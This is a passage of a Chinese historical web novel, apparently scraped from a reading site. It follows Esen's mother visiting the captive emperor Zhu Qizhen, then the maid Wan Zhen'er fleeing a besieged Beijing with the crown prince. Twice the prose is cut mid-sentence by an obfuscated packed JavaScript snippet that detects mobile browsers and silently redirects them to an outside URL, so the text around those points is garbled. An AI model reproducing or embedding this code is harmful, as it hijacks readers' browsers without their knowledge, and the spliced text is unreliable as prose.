敏答失力轻声道:“眼下这情景,杀了他似乎也没多大用处,倒不如暂且留他一命。我年少的时候听说书,都讲什么‘挟天子以令诸侯’,说的是古时候有一个很有能耐的人,把天子握在手上以后,就能号令其他的诸侯。” “你把他留在手上,说不定也能发挥这样的作用。比如说押着他到大同城下去,让他命令上面的守将开门。总归是皇帝的命令,守城将领肯定是要考虑一番的。一旦有松懈时机,便可轻松入得城去,这不比咱们折损许多人要好?” 这番话说得倒是很有道理。也先抬眼看了一下母亲,他的母亲平时对这些事都不大说话的,这一下子却能说出这样许多,这令也先稍稍有些意外。 他想了想,问:“额吉说的有道理。但我听额吉的意思,是不想杀他?” 这话问的,就有些微妙了。 敏答失力沉默片刻,然后用很平静的声调说:“我确实不大想杀他。你是知道的,我小时候也是长在那边。身为大明的子民,有哪个人希望自己故国的君主就这样死去了?当然,如果是一定要他死,那也没法子。草原上的草总要黄的。这事到底怎么决定,在你。” 说完,她站起身,对也先微微颔首,然后转身,缓步走出了金帐。 没有再多劝一句,也没有回头看。 也先想了整整一夜,期间叫来了几个投降的汉人官员和宦官,仔细询问他们的意见。 这些人的话则更多了,也更加复杂。有人为了表忠心,一个劲劝他立刻杀了朱祁镇,说这是永绝后患;也有人搬出一堆历史典故,告诉他留着朱祁镇之后还有大用。他们说,朝廷里总还有几个贤能之人,说不定就会像从前一样另选出一个君主,届时便是南宋和金国的故事了。留着被俘的皇帝,不仅可以要挟朝廷,还可以在那边挑起内斗。又说起什么“攻城为下,攻心为上”,什么“不战而屈人之兵”,尽是些弯弯绕绕、不大能听懂的词语。充当翻译的通事说到最后都烦了,语气越来越不耐烦。 最终,也先拍了板,暂且留着朱祁镇一命。 一面派人压着他到城下去试一试能不能叫开城门,另一面派人向大明朝廷送去信,要钱财和赎金。 虽说听说他们立了这位皇帝的弟弟当新皇帝,可到底赎金还是送来了,并且是这么大一笔,这足够令人欣喜了。之前拼死拼活冬天去抢,都抢不到十分之一呢。 此刻母亲竟然想去看他,那就去看好了,反正也不会少块肉。也先答应了下来。 “你挑些珠宝打扮得漂漂亮亮的去看他。他现在可是阶下囚,你是咱们草原上的贵人,让他知道知道额吉有多威风。”也先兴冲冲地说。 敏答失力轻轻笑了一声。这一会子倒是有功夫说些玩笑话了。 依着孩子的意思,她挑了几样首饰。人穿着蒙古的长袍,叫侍女把她的发髻重新梳了一遍,簪上那些珍贵的头面。 原来这样的金簪、镶嵌宝石的凤钗,是这样重的,压在头上,沉甸甸的。望着镜中满头珠翠的自己,她有些许的恍惚。 放在十来岁的时候,她还是苏州城外周家染坊那个叫周敏的小女儿时,是做梦也想不到的,自己能戴着这样的珠翠,还能高高在上去见皇帝的。那时她最大的梦想,不过是嫁个老实本分的郎君,守着染坊,生儿育女,平平安安过一辈子。什么皇帝,什么瓦剌,什么珠宝华服,都遥远得像另一个世界的故事。 真是…… 敏答失力垂下了眼眸,微微叹息了一声。 果然人生像草原上的风,不知道下一瞬会吹到何处。 侍从们簇拥着她,过两道关卡,来到一顶帐篷。 鉴于这些天这位已成阶下囚的天子并没有任何求死之举,相反,他表现得异常平静,甚至还能用简单的蒙语和看守的士兵说几句话,问些草原上的风俗,学一些瓦剌习惯,帐中对他的限制减少了许多,不再有束缚之类的,只是不可随意出营,活动范围仅限于帐篷周围一小片区域。 也先还特意指定了一位蒙古兵做他的亲兵,找来了一个老婆子伺候他的起居饮食,也常弄些酒肉给他吃。不算丰盛,但至少能吃饱。 所以,敏答失力见到的,见到的并不是一个形容枯槁、一脸愁苦的囚徒。 她见着一个年轻人,脸上没有焦躁不安,甚至他的肤色因为在塞外稍稍变黑了一些。头上戴着草原上流行的帽子,穿着打扮也像这营帐中的人一样,只是有一些秀气的脸庞,彰显着他非同类族人的身份。 当敏答失力还是周敏的时候,时常听说见天子要三跪九叩。可是如今的身份要她下跪,似乎也不大妥当。因此相互打了个照面,她只是静静地站着。反倒是朱祁镇主动向她问好,用的汉语。 “久仰夫人大名。听闻当时夫人也为我说了情。我在此谢过。” 很是彬彬有礼的一番说辞。说着,他竟微微躬身,行了一个揖礼。动作流畅自然,仿佛他不是在敌营的帐篷里,而是在紫禁城里会见一位德高望重的命妇。 敏答失力点了点头,用同样温和的汉语回答:“能活着总是好的。” 话一出口,她自己都愣了一下。许久没有说汉话了,这样的字眼从她的口中说出,她自己都觉得有些奇怪。有一种奇异的陌生感,仿佛这句话不是自己说的,而是另一个人借她的嘴说出来。 好在朱祁镇听着这句话,也微微震了一震,并没有发现她的失神。 等回过神,朱祁镇请她坐下说:“夫人若不嫌弃,请坐。我给您泡壶茶。” 茶是砖茶,黑乎乎的,压得结实,是从南边运过来的普洱。可偏偏朱祁镇是以拿着宫廷御窑瓷器一般的动作将之泡好的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975616|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敏答失力落了座,看着他泡茶,说:“这茶你怕是喝不惯吧。” “人有的时候也说不准,再不习惯的事,数着日子过下去也觉得习惯了。”朱祁镇往杯中注水,茶叶翻滚,深褐色的茶汤渐渐漾开。“夫人来这儿这么久,想来比我更懂这个道理。” 敏答失力抿了抿嘴,没搭话。 茶香慢慢氤氲开来,飘散在帐篷之中。朱祁镇将茶泡好,柔声道:“说起来我该向夫人道歉。” “这话我倒听不懂了。” “我的意思是,”朱祁镇抬起头,看着她,眼神真诚而沉重,“当夫人还是大明子民的时候,却被掳到了草原上,受苦这么多年。我作为君主,是有责任的。” 敏答失力心中一颤,握着茶杯的手紧了紧。 这个人竟然会提起这一茬事。 说句心里话,当她最初被掳到这片草原上的时候,她心里是怨过的。怨那些守边的将领无能,怨朝廷的边防松懈,怨那些高高在上的官老爷。当然,也怨那个坐在紫禁城里,她从未见过却统治着天下的皇帝。 为什么不能保护好边民?为什么让瓦剌人如此猖獗?为什么让她这样一个普通的妇人,要承受这样颠沛流离的命运? 敏答失力沉默了很久。 最后,她轻轻一叹:“那时候你还是个毛孩子呢,说不定没出生,和你关系也不大。” “既然是君主,总是要负责的。”朱祁镇苦笑起来,流露出一丝疲惫与自嘲,“这次大明战败至此,我责无旁贷。其实按理来说,我这样丧师辱国、被俘敌营的君主,不该有脸活在这世上。但我却也像夫人所想的那样,心里奢望着,说不定活下去,能好呢。” 他顿了顿,目光落在敏答失力鬓边那支凤簪上,道:“夫人的年纪大约和我娘相仿,因此见了你便觉得亲切。也不知道娘是希望我死了还是活着好。或许还是死了好吧,干净,不会活着给她丢脸。” 敏答失力摸了一下头上的簪子。眼前这人极为聪慧,瞧着她鬓上的发簪,是宫廷制式,心里大概也有数,知道这是从何而来。 她放下手,看着朱祁镇年轻的脸,缓缓道:“做母亲的,大约还是想孩子活着吧。” 她玩笑道:“至少,我当时是这样哄着自己活下来的。” 两人不约而同地笑起来。 又闲话了几句,草原的天气,即将到来的冬天,营地里的琐事。敏答失力起身告辞,朱祁镇送她到帐篷口,再次躬身行礼:“多谢夫人来看我。” 敏答失力走到帐外,见着也先的一个弟弟伯颜帖木儿满脸高兴走过来。“哈敦来见祁镇吗?怎么样,他是一个好人吧?” 这些天负责看守朱祁镇的贵族正是伯颜帖木儿。这些天,伯颜帖木儿和朱祁镇莫名其妙地关系好了起来。 敏答失力想起刚才所见的那个年轻人,心想他虽然不擅长兵事,对于笼络人心还是有一手的。在这样极端不利的环境下,他不仅没有崩溃,反而能稳住心神,甚至和看守他的瓦剌贵族交上朋友。这份心性和韧性,不容小觑。 “人瞧着倒好,但你也别忘了,他是大明的太上皇。”敏答失力提醒道,“拿不准的就去问你哥哥,瞧你这样。被人卖了还乐着给人数钱。” 后面那句是用汉语说的,伯颜帖木儿没听明白,但还是为敏答失力认可他的朋友是好人而高兴。 “我不会忘的,但是他看着挺好的一个人。哈敦,北京是不是送来了一些好茶叶?听说哥哥都让人送到你那里去了,分点给我,我给祁镇吃。他总是喝那个砖茶喝不惯。” “行,你回头让人去挑就好。” 寒暄几句,敏答失力目送伯颜帖木儿进入帐中。这大个儿一进帐篷,就嚷嚷着说话并笑起来,还真是把朱祁镇当成好友一般。 也是一种能耐了。 夜色笼罩草原,敏答失力来到也先的帐子,与他一同用晚膳。 “这人不可小觑。”敏答失力熟练地用小刀剃下一块羊肉,放在也先碗中。“既要防着,也要拉拢。我有预感,只要他活着,朝廷龙椅上的那一位就不可能安心。” 也先大口吃起羊肉:“我知道的。” 他咽下肉,端起马奶酒喝了一大口,才道: “娘,你想不想回江南。” 夜灯下,也先的脸带着点跃跃欲试的兴奋。 敏答失力握刀的手顿了一顿,复又剃下一片羊肉。 “想,但是我想的那个地方,我早就回不去了。” 也先挑了挑眉:“儿子会带你去的。” 油灯的火苗跳动了一下,在帐壁上投下母子俩巨大的、摇晃的影子。烤羔羊的香气弥漫着,温暖而诱人。敏答失力垂下头,专心剃羊肉。她不再说话,也先也不再追问。 儿子说的“回去”,和她想的“回去”,恐怕不是一回事。 他想带着铁蹄回去。 16. 冬日 初冬,也先率瓦剌大军围攻京师。 深宫之中的人,往往要很晚才能从蛛丝马迹中猜测出些痕迹。万贞儿亦是如此。 自从上回将孙太后的首饰清点装箱、亲眼看着那些珠翠玉器被一箱箱抬出清宁宫、送往北边之后,她便不再理会这些了,一心一意跟着乳母等人照顾小太子。 其实也不需要她做一些什么特别的事。伺候小太子的宫人很多,她要做的似乎就是真心实意地陪小太子玩耍。 这孩子很亲她,也很喜欢她带来的一些小游戏。 秋深时节,正是紫禁城里最舒服的时候。赫赫的蓝天又高又远,连一丝云朵都没有。有日光的时候,万贞儿就喜欢领着小太子到后苑去玩耍。看一看掉在地上的红叶,听一听秋虫的声音。 小太子在落叶堆里蹒跚行走,找了许久,弯腰捡起一片特别红的枫叶,举起来,奶声奶气地说:“姑姑,红!” 万贞儿便蹲下身,接过那片叶子,对着阳光照给他看:“对,很红很好看。” “给姑姑。”小太子眼睛亮晶晶地说。日光洒在他的头发上,镀上一层茸茸的金边。 至于外头的事,瓦剌大军如何一天天逼近长城,兵部尚书于谦大人如何急召各地士兵勤王,京城中京城九门如何戒严,街道上如何人心惶惶,百姓们如何议论着要不要往南逃难,米价如何飞涨…… 所有这些,在此刻都与万贞儿和小太子没有什么关系。 仿佛在动荡起伏、波涛汹涌的大海上,他们意外地拥有了一叶小小的、安稳的扁舟。舟上的人闭起眼来,并不知道外头的事,只道天凉好个秋。 直到气氛越来越不对。 那天万贞儿照例带着小太子,和乳母王氏等人一起,去给孙太后请安。孙太后疼爱孙子,总是要见一见他才好。一行人来到暖阁,照规矩候着,静候正殿传召。 只是这一次在暖阁中等了许久,直到香炉里的一锭香丸都燃烧完毕,还没有见着孙太后的踪影。 小太子起初还乖乖坐着,可等了许久,渐渐不耐烦了,开始扭来扭去,要闹。万贞儿拿出一个布缝的小老虎逗他,他才勉强安静了一会儿。又过了约莫一炷香的时间,孩子到底撑不住,眼皮开始打架,小脑袋一点一点的。乳母王氏便把他抱在怀里,轻轻拍着,哼着不成调的曲子。不多时,小太子便睡着了,呼吸均匀绵长,小脸因为屋内的地龙变得红扑扑的。 万贞儿得了空,心里有些纳罕,想到门边去瞧一瞧是什么情况。依照万贞儿的经验,这个时候孙太后多半是在正殿有事,或许是会客什么的。 暖阁的门紧闭着,门帘是厚实的猩猩毡。她走到门边,还没掀开帘子呢,忽然就听见了孙太后的声音,虽然隔着门帘,声音有些模糊,但那压抑着愤怒的语调,她还是听出来了。 “便是真有什么不测,我这把老骨头殉国也就殉了,可是总得留些香火吧?太祖皇帝当年定都南京,成祖皇帝才迁来北京。我们在南边,又不是没有一个地方待,从前也是在那里的呀。” 万贞儿吓了一跳,手放在厚厚的门帘上,愣是没敢掀开。她下意识地屏住呼吸,侧耳倾听。 那边殿中响起了于谦于大人的声音:“此事老臣已经解释过多次了,南迁绝不可行。今日若弃京师而南迁,则北疆尽失,黄河以北非我所有。届时人心离散,士气崩溃,半壁江山拱手让人,说不定也得跳海。无论太后问多少次,臣也只有这句话:坚守京师,死战不退。除非太后赐死臣,不然再没别的什么话。” 孙太后好像是被这话噎住了,好半天没说出话来。然后就听见于谦大人的告辞声。万贞儿连忙往回走,脚步放得极轻,她到乳母王氏身边轻声说:“太后娘娘似乎还在忙呢,一时半会儿怕是见不着。小爷可睡着了?” 乳母王氏道:“睡了,睡得很安稳。” 万贞儿点点头,自己也在炭火旁边捡了一张椅子坐下。 银丝炭在铜盆里燃烧着,偶尔发出轻微的响声。熹微的火光映在她脸上,忽明忽暗。她盯着那一点跳动的灯火,猜测着如今的情形。 南迁。 这两个字并不意外,之前就有人提过,都被斥责压下去。 可是这次是太后提起南迁了,是不是她也觉得……未必能守住? 那么,悬在头上的那把刀,恐怕很快就要落下来了。 她静静地坐在那里,一动不动,脑子里乱糟糟的。如果真的守不住,如果真的城破了,那会怎样?瓦剌人会冲进紫禁城吗?他们会杀人吗?会放火吗? 大概会的,会有许多不好的事。 而她,还有那个正熟睡的孩子,又会怎样? 不敢想。不能想。 时间在沉默中一点点流逝。暖阁里的檀香烧尽了,又换上了一炉新的。 又等了一会儿,有个宫女过来传话,说孙太后召见小太子。 万贞儿忙和乳母王氏等人,抱着小太子,轻手轻脚往正殿挪去。孙太后坐在殿中宝座上,面容是遮不住的憔悴。万贞儿走过去请安的时候,心里头不由得一酸,短短几个月的功夫,孙太后好像是突然老了许多。 “小爷睡着了,回太后,刚才可能有些玩累了,这会睡得正熟。” “那就让他睡吧。”孙太后抬起眼瞧了一眼小太子无忧无虑的睡颜,轻轻叹了口气,不知道在想些什么,眉头一直紧锁着。自从这天之后,孙太后的峨眉便一直不展。 夜里下了值,万贞儿在屋子里坐了半夜。 她在床榻上盘腿坐着,棉被盖在身上,沉沉的,但寒夜的寒气依旧忍不住往里头钻。这样的氛围,她咬了咬唇,止不住地想起在很小的时候所经历过的那个离别的冬天。很多年过去了,她以为自己早就忘记了那种感觉。可今夜,好像那种感觉又重新回来了,只可惜这些话同谁都没办法说。 她望着黑漆漆的小窗,目光有些茫然。窗外是沉沉的夜色,没有月亮,也没有星星,只有无边无际的黑暗。 如果真有那一天,她该怎么办呢?好像以她的身份也做不了什么事儿。她只是一个宫女,手无缚鸡之力,既不能上阵杀敌,也不能运筹帷幄。到时候真的不行,要死了,或许拿着刀能砍死两个敌人也就够本了。 虽然心里这样沮丧地想着,但是从此之后,万贞儿又默默地开始收拾起些细软东西来。比如说像一些碎银子,换成整锭的,收拾在包 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万贞儿猛地站起身。动作太急,眼前黑了一下,她连忙扶住炕桌,稳了稳神。然后弯腰抱起还在茫然中的小太子,对一旁吓呆了的乳母王氏说:“走!” 到了正殿,隐隐能听见远处有沉闷的声响,不知是不是敌人攻打城门了。听见这声音,所有大人的脸色都白了一分。 孙太后伸手要抱一抱小太子。“长哥儿,来,让皇祖母抱抱。” 小太子很听话的走向祖母,任凭她将自己搂在怀里。 万贞儿在后边看着。此时此刻也说不出什么其他话来。孙太后抱了很久,久到孩子终于忍不住,小声说:“祖母,疼。” 孙太后才松开手。松开时,她迅速抬手抹了抹眼睛,然后站起身,转过来看向万贞儿等人,厉声道:“你们几个,带着小太子立刻出宫。往南走,能走多远走多远。这里备了一些百姓的粗布衣裳,通通换上,混在逃难的百姓里,不要让人看出身份。” 万贞儿的心沉下去。 这是要托孤了吗? 孙太后的眼睛在伺候小太子的人中转了一圈,老的老,哭的哭,最后还是停留在万贞儿身上。 她朝万贞儿招了招手:“贞儿,你过来。” 万贞儿走上前。 “你素来是内秀的,心思细,人也稳重。”孙太后叮嘱道,“你可得好好的把小爷给看护好了。外面可能有些乱,但无论发生什么事儿,不许心眼小!一定得活着,活着好好保护小爷。懂吗?” 万贞儿扑通一下跪在地上,举起手发誓。 “皇天在上,厚土在下,我万贞儿在此立誓:无论如何,定会护小太子周全。除非我死,不然绝不让歹人伤他分毫!” 孙太后很欣慰的看着她,拍了拍她的肩膀:“我知道的,你是个好孩子。你等等。” 孙太后忽然转身,从箱笼里摸出来一把小刀。刀鞘镶嵌着宝石,样子很好看。 她将这把小刀放在万贞儿手里。 “是先帝爷当年赐予我的,你拿着。” 那把刀很是冰手,万贞儿却握紧了。 17. 出逃 “行了,别耽搁了。”孙太后最后在小太子的脸上吻了吻,催促道,“速速更衣离开。” 万贞儿与乳母王氏领着小太子立刻到里间更衣。衣裳都是干净的家常衣裳,料子比不上宫内,但摸着也不至于太粗糙,膈应着小太子细嫩的皮肤。 这样的衣裳,定是早早就使人备下的。万贞儿一面替小太子更衣,一面想。看来孙太后心里一直担忧着,有使人做一些准备。 小太子乖乖地任凭她们摆弄,歪了歪小脑袋,有些不解:“为什么忽然要换衣裳?” 乳母王氏看了万贞儿一眼,有些为难,要怎么和一个三岁的孩童解释这样的场景。 万贞儿将最后一件外裳给小太子套上,温柔道:“小爷,我们玩一个新游戏,好不好?” 说到游戏,小太子的眼睛亮了起来,兴冲冲问:“什么游戏?” “捉迷藏。”万贞儿握住他的手,就像往常要带他去后苑看花看树一般,道:“我们玩过家家,玩捉迷藏。你看我们的衣裳,是不是很特别?从现在起,咱们就是普通人家的小孩子了。要是有人问起,你就说你是姑姑的小侄子。姑姑带你出来玩。记住了吗?” 这是没玩过的新奇游戏,孩子立刻眼睛弯弯:“好,记住了。那捉迷藏呢?” “捉迷藏么,就是有坏人会来找我们。”万贞儿领着他往外间走,“必要的时候,我们要做稻草人,不许说话不许动,不过这么难的规则,你记得住吗?” “当然记住了!”小太子用力点头。 “真聪明。”万贞儿摸摸他的头,要外间的魏姑姑等人照看小太子,自己则和乳母王氏等人迅速在里间换衣裳。 “姑娘怎么这样和小爷说。”王氏有些奇怪,“总感觉怪。” “这有什么。”万贞儿一面迅速将鬓上的小簪尽数取下,一面说,“毕竟是那么小的孩子,与其让他太早就担惊受怕知道是在逃难,不如哄一哄。” “那也不能总哄着呀,毕竟一出去他也渐渐知道了。” “能哄多久就多久。”万贞儿道,“以后懂事了,难过的日子多着呢。不差这一时。” 她动作麻利地将衣裳换好,看了看原本的银簪,觉得还是银簪上的纹路比起来略微有些显得富贵,索性给自己编了辫子,拿根红绳绑住。 换好衣裳,万贞儿回头见王氏还带着金簪,并且拿起了白狐裘,似乎打算带着走。万贞儿道:“这狐裘要不别带了,看着太显眼。” “这是给小爷备着的,”王氏坚持道,“外边天寒地冻的,万一冻着小爷,谁也担待不起。” 道理也是这个道理,又听见外头催,“快点出来,下雪了”。 万贞儿便不再纠结,拿起一袋小碎银递给王氏,要她好好绑在衣裳里边,自己也一样。 走到殿门口,掀开厚重的门帘。外面铅灰色的天光涌进来,带着刺骨的寒意,天地间有漫漫的雪花落下来。 万贞儿没有迟疑,迈过门槛,走进这片风雪。 旁边几个没有被选中出宫的宫人,几乎都要落泪了。韩老老倒是很平静,方才要换衣裳时,她就决定了,毕竟她这样的年纪,出去了怕是还要给小太子们添麻烦,不若守在宫里。 眼看万贞儿他们都要走了,一个平时与万贞儿还算要好的圆脸小宫女哭着喊:“姐姐,保重。” 她们被选中出去的,若是紫禁城沦陷,还能有生的希望。她们这些留下来的,又是宫人,就不知道了。 万贞儿不忍,低声对她道:“你也保重,不管怎样,别犯傻,活着最要紧。你不是还指望着以后老娘娘开恩给你指给侍卫么?我出去也帮你留意,若有好的,回头告你。” 这是以前女孩间的玩笑话,小宫女听了,带着泪笑了笑:“嗯,我们都要好好的。” 万贞儿也朝她笑了笑,立刻跟上前边去。 雪才刚落,宫道尚未冻住,走起来倒不很滑。万贞儿一行人直奔北边的神武门。匆匆间,万贞儿抬眸瞧见巨大的角楼。 前面就是红墙的尽头了,她进宫之后几乎从未走到过的地方。只是没想到,会在这样的情况下匆匆出去。 城门下停了两辆青篷马车,换作百姓打扮的御马监宦官驾车等候在此。 小太子没坐过这样的马车,看着马儿哈哈笑起来:“姑姑,马。” “嗯,我们坐马车。” 万贞儿将小太子抱起,递给已经上车的王氏,自己也攀了上去。这马车乃是寻常富贵人家所用,并不宽敞。怕挤着小爷,其余几个宫人都坐在后边一辆马车。 马车动了。 万贞儿掀起车帘,瞧见马车从悠长悠长的宫门底下穿过去。青石板砖变作夯实的黄土,这就是宫外了。 宫外呵,再见却是动荡不安的模样。 临近宫门的区域因为有御军把守,还算好,越往外走,越乱。 各种乱七八糟的声音交杂在一起,和宫中的寂静全然是两个世界。叫骂声、马蹄声、骆驼铃铛声,夹杂着孩子的哭声……嗡嗡的,嘈杂不已。 小太子起初还觉得好玩,此刻有些感觉不对了,往万贞儿怀里缩了缩:“姑姑。” “没事,我们捉迷藏,不说话啊。”万贞儿故作轻松地对他笑了笑。 小太子点点头,不再说话,渐渐地在她怀里睡着了。 万贞儿轻轻拍着他的背,见他睡熟了,小心挪到王氏怀里。自己掀起车帘看是什么情况,马车已经不动很久了。 车帘一掀开,全是人! 不知道从哪里出来的那么多人,急匆匆地往出城的方向走。男人挑着担子,担子两头是捆扎得歪歪扭扭的包袱。女人抱着孩子,孩子哇哇大哭。还有推着小车的,车上堆着锅碗瓢盆,甚至还有半袋米,在颠簸中洒出来许多,那人想去拣米,然而下一瞬米就被许多只脚踩了上去。 马车也因为这些人而动弹不得。 前边坐在车架上的内侍回过头,无奈道:“全堵得死死的,怎么办?” 万贞儿回头看看后边一架马车,因为人潮拥挤,也同他们这架保持了些距离。 “再等半炷香的功夫,马车能走就走,不能走的话,”万贞儿道,“我们弃车走路。” 正等待着,变故陡生。 原来距离他们马车不远处正有一家米店,原本已经是上了门板歇业的。可此时竟然有人挥舞着锄头砸开了米铺!嘈杂声里,几个汉子冲进米铺开始抢米。袋子在争执中被扯开,米洒在地上,是白花花的上等米!这一下子,旁边的几个路人也眼红了。想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983724|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着都在抢,不抢白不抢,于是也冲进去,疯狂争抢米袋。 场面彻底失控了。抢到米的人想往外挤,外面的人想往里冲,两边撞在一起,扭打起来。 一个头发花白的老人抱着一小袋粟米出来,却被门口的男子撞到在地上并趁机抢走了他的米。老人倒在地上,有人想扶,但更多人急着往里冲,竟然踩在身上。 “杀人啦,杀人啦!” 有人惊恐地大喊。 混乱迅速蔓延。原本还只是逃难的人流,此刻被这抢米的骚乱彻底冲散。有人趁乱开始抢别的东西。旁边一家布庄也被砸开了,有人抱着整匹的布往外跑。更远处,一家当铺门口,也有几个壮汉正在用石头砸锁。 乱成一锅粥。 万贞儿看着心惊胆战,当即道:“走,不能留在这里!” 她立刻让王氏抱着小太子下车,并试图招呼后面车上的宫人也一同走到胡同里面去。 然而实在被嘈杂的人流冲散了,身边的王氏尖叫起来,万贞儿连忙去看,原来是有人趁乱拿走了小爷的那件白狐裘。 内侍见状,上去去追那人。王氏也想往那边去,万贞儿当即拉住抱着小爷的她。 “别管那个了,往这边!” 混乱间,小太子被吵醒了,惺忪的睡眼茫然着望着眼前的一切,却还记着睡前万贞儿的嘱咐,没有出声。 一直到一条安静些的小胡同,万贞儿她们略微松了口气,小太子才开口:“姑姑,游戏结束了吗?” 万贞儿心里一酸,伸手摸了摸他的头:“还没呢。咱们躲猫猫,要躲得更好才行。” 小太子似懂非懂地点点头。 “现在,现在该怎么办呢?”王氏抱着小太子,脸上仍是一脸惊色。 万贞儿没有立刻回答。她走到胡同口,小心翼翼探出头往外看。外面那条街依然混乱,但已经看不见抢米的那伙人了。逃难的人流还在继续往前。 她一面观察,一面飞速思考。出宫的目的是往南逃,离开北京城。可是现在的情况,若是瓦剌兵临城下,那么城门多半是关的,真的能出去吗? 在这种僻静胡同,倒不知道有没有可以落脚的地。 万贞儿折回胡同深处,问了问王氏的家宅何处,可有什么亲戚在附近。王氏想了之后,道:“靠近城下倒有我一个姑婆家在那里。” “你记得路吗?” “记得。可是,”王氏急道,“我们是要出城的呀!” “是要出城,”万贞儿道,“多了解些总是好的。小爷,我们可以出去玩吗?” 小太子点点头:“我听姑姑的。” “好,那咱们还是往城门去。” 她们重新走出胡同,汇入南逃的人流。万贞儿打头,身后是抱着小太子的王氏。至于刚才赶车的那个内侍,也不知道去哪里了。 越靠近城门,人越多,挤得越厉害。空气里弥漫着汗臭、尘土的味道。雪下得更紧了,直往人脸上扑。风雪声里,哭声,骂声,哀求声,还有守城士兵的呵斥声,混成一片。 终于靠近城门了。 然而,万贞儿抬头看了眼城墙,脸色凝固起来。 城门未开,城门之上,除了对外的士兵,还有一列弓箭手,是对准城内的。 18. 城门 城墙之下,人群还在拥挤。 万贞儿与王氏两个人挤在一处,将小太子护在中间,惟恐有人趁乱踩到他。只是人实在太多,光是维持这片小空间都很吃力。 没法子,还有源源不断的人在往这边挤,都是为了奔一条生路。 “开城门啊!让我们出去!” “瓦剌人要打进来了!快点开门啊!” “军爷,我有银子,劳您开开门!” “求求你们了!我孩子还小呢!” 乱哄哄的声浪一波接一波,万贞儿踮脚,努力想看清前面的情况,但只能看到无数攒动的人头和挥舞的手臂。 离城门还有些距离处,已经用木栅栏围了个密不透风,还有提着红缨枪的士兵,个个枪尖对内,寒光凛凛。 就在这时,城楼上忽然有了动静。 一个穿着文官官袍的身影在众军士簇拥下,登临城门,举高临下,一看就是能主持大局的。 正是于谦。 他满脸严肃地望着城门之下人头攒动,试图哀求出城的人们。 隔着厚厚的城墙,数十里之外,便是瓦剌大军。 瓦剌军多为骑兵,在地势平坦处冲锋陷阵熟稔,可这是固若金汤的北京城城墙。纵使他们得了好些原本朝廷的辎重,对于攻城这种事一时半会儿也难以掌握。况且他们长途而来,所携带补给军粮有限,难以长期围城。可以说,他们要想在短短的时间内攻破北京城,几乎是不可能的。 据线报,从四处赶来的勤王军已经离京师很近了,只要坚守住城墙,不为瓦剌人所攻破,届时里应外合,便可解京城之危。再者京城本身就是物资丰沛之地,不是什么缺衣少食的小城,封城十来天,也不至于到了岌岌可危的地步。 城门若开,瓦剌趁乱入城的可能性大增,况且说不定有些藏匿的奸细,不得不防。 那些嘈杂的哀求声隐隐约约被寒风送入耳,可是于谦也只能充耳不闻,他冷静地同身旁守城将官说:“无论如何,城门不可开。” 将官点头答应,犹豫一瞬:“只是,怕是这些人等得久了,情急之下会有不虞之事。” “若有敢冲击城门者,”于谦冷冷道,“以乱军之罪论处,格杀勿论!” 丢下这句军令,他便在众人簇拥下往另一处检查军务。 将官得了令,命令身边小将传信。小将疾步奔至城门下,向小头目讲了这事,一个传一个,很快,那些隔着木栏杆与人群对峙的士兵大喊起来。 “擅闯城门者死!” 这充满恐吓的话语让人群静了一静。 可是,在生死威胁下,等待良久却毫无得到回应的人们渐渐焦躁起来。 一个实在不耐烦的大汉仗着力气挤到最前头,从木栅栏下钻出去,嘴里骂骂咧咧,大喊道:“老子不管!老子要出去!你们有种就弄死我!” 话音未落。 “嗖!” 一支箭破空而下,不偏不倚,钉在那汉子脚前半尺的地面上,溅起泥土。 那汉子猛地停住,脸色煞白,低头看着那支几乎射中自己脚面的箭,腿一软,瘫坐在地。 前边围观的人被这一箭也吓住了,忙往后退了两步! 不是,他们是真的也会朝城中人射箭啊! 后边的万贞儿和王氏被这突如其来的往后推的一股力弄得差点没站稳。 万贞儿索性把小太子抱了起来,高高架在肩膀上,咬牙同王氏道:“看情景,他们不会开城门了。我们走。” “走?可是我们要出城往南呀!”王氏脸色惨白如纸,嘴唇哆嗦道:“要不,我们和守城的说,说是要护送太子爷出城,他们总会放的……” “不可!”万贞儿斩钉截铁道,“谁知真假?再说身边的这些人谁知道是什么心思,礼崩乐坏,抢米的抢米,怎么知道没有挤过来抢着要护驾的,或者奸细?” 况且,纵使在深宫之中,她之前也有所耳闻。前边可还有瓦剌军压着正儿八经的太上皇在城墙下叫门,都没把城门叫开的事。 连太上皇都没办法叫开门,太子又算什么? 王氏也不是愚笨之人,听万贞儿一说,浑身一颤,不再说话。 万贞儿闭上眼睛,深吸一口气,护着小太子缓缓往人群外挤:“去你那个姑婆家。” 两人带着小太子,艰难地从人群中挤出,跌跌撞撞辨认着方向,钻进一条胡同深处。 家家户户的门都紧闭着。 走到一处人家,王氏拍着门环喊了姑婆许久,终于才听见苍老而警惕的声音:“是月妞?” “唉,是我!” 王月妞高声答应:“是我,姑婆!” 门开了一条缝,露出一张布满皱纹的脸。是个六十多岁的老妇人,头发花白,脸型同王月妞有点像:“真是你?我听声音有点像。你不是该在宫里吗?” 王月妞被选为皇子的奶口,可是他们家的一件大事,王姑婆也知道的。 王月妞道:“不知从何说起,姑婆,我们先进去。” 万贞儿抱着小太子,跟着进了门。王月妞将门栓上,还拖了把椅子抵着,这才分出心神同王姑婆解释起眼下情况。 万贞儿则忙着给小太子倒一杯热水喝,可惜寻常人家,瓷杯都有些油腻腻的。只是小太子接过,眉头皱了皱,但立刻喝了起来,显然是刚才一番奔波渴坏了。 